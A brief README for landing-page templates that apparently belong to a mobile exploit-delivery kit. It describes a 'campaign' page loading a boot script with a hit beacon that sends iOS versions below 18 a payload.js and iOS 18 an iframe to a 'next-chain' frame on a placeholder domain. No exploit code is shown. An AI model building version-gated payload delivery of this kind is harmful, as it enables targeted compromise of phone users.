support.html templates

Landing HTML only loads same-directory index.js. Routing, /t.js beacon, and iOS 18 DS iframe live in the published boot index.js (payload is payload.js). HTML does not inline the hit beacon.

Name	Source	Description
`blank`	`blank.html` (default campaign `source/web/support.html`)	`<script src="index.js">` only
`test`	`test.html`	Lab HUD + the same `index.js`

Both iframe landing and third-party <script src="./index.js"> share that boot:

iOS < 18 / unknown: load same-directory payload.js
iOS 18: iframe __DS_DOMAIN__/next-chain/frame.html?c=<channel>
iOS 19+ / 26+: no action